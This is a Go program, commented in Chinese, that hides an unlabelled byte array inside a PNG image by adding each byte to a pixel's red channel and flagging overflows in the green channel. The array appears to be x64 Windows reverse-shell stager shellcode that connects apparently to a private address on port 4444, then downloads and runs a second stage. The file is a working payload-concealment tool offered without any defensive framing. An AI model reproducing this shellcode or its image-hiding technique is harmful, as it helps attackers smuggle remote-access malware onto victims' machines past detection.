package main

import (
	"fmt"
	"image"
	"image/color"
	"image/png"
	"os"
)

var rawData = []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00,
	0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x48, 0x31, 0xd2, 0x56, 0x65,
	0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20,
	0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
	0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
	0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x48, 0x8b, 0x52, 0x20,
	0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x41, 0x51, 0x66, 0x81, 0x78, 0x18,
	0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b, 0x80, 0x88, 0x00,
	0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x44, 0x8b,
	0x40, 0x20, 0x8b, 0x48, 0x18, 0x49, 0x01, 0xd0, 0x50, 0xe3, 0x56, 0x4d,
	0x31, 0xc9, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6,
	0x48, 0x31, 0xc0, 0x41, 0xc1, 0xc9, 0x0d, 0xac, 0x41, 0x01, 0xc1, 0x38,
	0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75,
	0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
	0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
	0x88, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x48, 0x01, 0xd0, 0x5a, 0x41,
	0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff,
	0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4b, 0xff, 0xff,
	0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x00, 0x00,
	0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x01, 0x00, 0x00,
	0x49, 0x89, 0xe5, 0x49, 0xbc, 0x02, 0x00, 0x11, 0x5c, 0xc0, 0xa8, 0xb6,
	0x87, 0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c,
	0x77, 0x26, 0x07, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x01, 0x01, 0x00,
	0x00, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x00, 0xff, 0xd5, 0x6a, 0x0a,
	0x41, 0x5e, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff,
	0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba,
	0xea, 0x0f, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41,
	0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74,
	0x61, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0x0a, 0x49, 0xff, 0xce, 0x75, 0xe5,
	0xe8, 0x93, 0x00, 0x00, 0x00, 0x48, 0x83, 0xec, 0x10, 0x48, 0x89, 0xe2,
	0x4d, 0x31, 0xc9, 0x6a, 0x04, 0x41, 0x58, 0x48, 0x89, 0xf9, 0x41, 0xba,
	0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00, 0x7e, 0x55, 0x48,
	0x83, 0xc4, 0x20, 0x5e, 0x89, 0xf6, 0x6a, 0x40, 0x41, 0x59, 0x68, 0x00,
	0x10, 0x00, 0x00, 0x41, 0x58, 0x48, 0x89, 0xf2, 0x48, 0x31, 0xc9, 0x41,
	0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x89, 0xc3, 0x49, 0x89,
	0xc7, 0x4d, 0x31, 0xc9, 0x49, 0x89, 0xf0, 0x48, 0x89, 0xda, 0x48, 0x89,
	0xf9, 0x41, 0xba, 0x02, 0xd9, 0xc8, 0x5f, 0xff, 0xd5, 0x83, 0xf8, 0x00,
	0x7d, 0x28, 0x58, 0x41, 0x57, 0x59, 0x68, 0x00, 0x40, 0x00, 0x00, 0x41,
	0x58, 0x6a, 0x00, 0x5a, 0x41, 0xba, 0x0b, 0x2f, 0x0f, 0x30, 0xff, 0xd5,
	0x57, 0x59, 0x41, 0xba, 0x75, 0x6e, 0x4d, 0x61, 0xff, 0xd5, 0x49, 0xff,
	0xce, 0xe9, 0x3c, 0xff, 0xff, 0xff, 0x48, 0x01, 0xc3, 0x48, 0x29, 0xc6,
	0x48, 0x85, 0xf6, 0x75, 0xb4, 0x41, 0xff, 0xe7, 0x58, 0x6a, 0x00, 0x59,
	0x49, 0xc7, 0xc2, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5}

func main() {
	// 1. 读取原始图片
	fmt.Println("正在读取原始图片...")
	originalImg, err := loadImage("test.png")
	if err != nil {
		fmt.Printf("读取图片失败: %v\n", err)
		return
	}

	// 2. 嵌入数据到图片中
	fmt.Println("正在嵌入数据到图片中...")
	embeddedImg, err := embedData(originalImg, rawData)
	if err != nil {
		fmt.Printf("嵌入数据失败: %v\n", err)
		return
	}

	// 3. 保存嵌入数据后的图片
	fmt.Println("正在保存嵌入数据后的图片...")
	err = saveImage(embeddedImg, "embedded.png")
	if err != nil {
		fmt.Printf("保存图片失败: %v\n", err)
		return
	}

	fmt.Println("✅ 数据嵌入完成！已生成 embedded.png")
}

// 加载图片
func loadImage(filename string) (image.Image, error) {
	file, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	img, _, err := image.Decode(file)
	if err != nil {
		return nil, err
	}

	return img, nil
}

// 保存图片
func saveImage(img image.Image, filename string) error {
	file, err := os.Create(filename)
	if err != nil {
		return err
	}
	defer file.Close()

	return png.Encode(file, img)
}

// 嵌入数据到图片中
func embedData(originalImg image.Image, data []byte) (image.Image, error) {
	bounds := originalImg.Bounds()
	width, height := bounds.Max.X, bounds.Max.Y

	// 创建新的图片
	newImg := image.NewRGBA(bounds)

	// 复制原始图片数据
	for y := bounds.Min.Y; y < height; y++ {
		for x := bounds.Min.X; x < width; x++ {
			newImg.Set(x, y, originalImg.At(x, y))
		}
	}

	// 嵌入数据到前510个像素的R通道中
	dataIndex := 0
	pixelCount := 0
	maxPixels := 510

	for y := bounds.Min.Y; y < height && pixelCount < maxPixels; y++ {
		for x := bounds.Min.X; x < width && pixelCount < maxPixels; x++ {
			originalColor := originalImg.At(x, y)
			r, g, b, a := originalColor.RGBA()

			// 转换为8位值
			r8 := uint8(r >> 8)
			g8 := uint8(g >> 8)
			b8 := uint8(b >> 8)
			a8 := uint8(a >> 8)

			var newR uint8
			overflow := false

			if dataIndex < len(data) {
				// 将数据值加到R通道
				newRValue := int(r8) + int(data[dataIndex])

				if newRValue > 255 {
					// 如果溢出，使用G通道标记
					newR = uint8(newRValue - 256)
					overflow = true
				} else {
					newR = uint8(newRValue)
				}

				dataIndex++
			} else {
				// 如果没有更多数据，保持原始R值
				newR = r8
			}

			// 如果发生溢出，在G通道设置标记
			var newG uint8
			if overflow {
				newG = 255 // 使用最大值作为溢出标记
			} else {
				newG = g8
			}

			// 设置新颜色
			newColor := color.RGBA{R: newR, G: newG, B: b8, A: a8}
			newImg.Set(x, y, newColor)

			pixelCount++
		}
	}

	return newImg, nil
}
